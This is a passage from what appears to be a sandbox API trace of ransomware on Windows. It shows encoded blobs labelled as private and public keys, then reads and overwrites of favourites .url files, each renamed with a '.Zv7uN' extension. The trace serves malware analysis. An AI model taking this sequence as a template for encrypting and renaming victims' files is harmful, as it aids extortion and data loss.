lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.278] GetCurrentThreadId () returned 0xa30 [0126.278] GetCurrentThreadId () returned 0xa30 [0126.278] GetCurrentThreadId () returned 0xa30 [0126.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.279] GetCurrentThreadId () returned 0xa30 [0126.279] GetCurrentThreadId () returned 0xa30 [0126.279] GetCurrentThreadId () returned 0xa30 [0126.279] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.279] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.279] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.279] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.279] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.280] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.282] CloseHandle (hObject=0x1e8) returned 1 [0126.282] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.289] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.291] CloseHandle (hObject=0x1e8) returned 1 [0126.291] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url.zv7un")) returned 1 [0126.292] GetCurrentThreadId () returned 0xa30 [0126.292] GetCurrentThreadId () returned 0xa30 [0126.292] GetCurrentThreadId () returned 0xa30 [0126.292] GetCurrentThreadId () returned 0xa30 [0126.293] GetCurrentThreadId () returned 0xa30 [0126.293] GetCurrentThreadId () returned 0xa30 [0126.293] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0126.293] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.293] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.293] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.293] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url")) returned 0x20 [0126.293] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url", dwFileAttributes=0x80) returned 1 [0126.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.295] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.296] GetCurrentThreadId () returned 0xa30 [0126.297] GetCurrentThreadId () returned 0xa30 [0126.297] GetCurrentThreadId () returned 0xa30 [0126.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 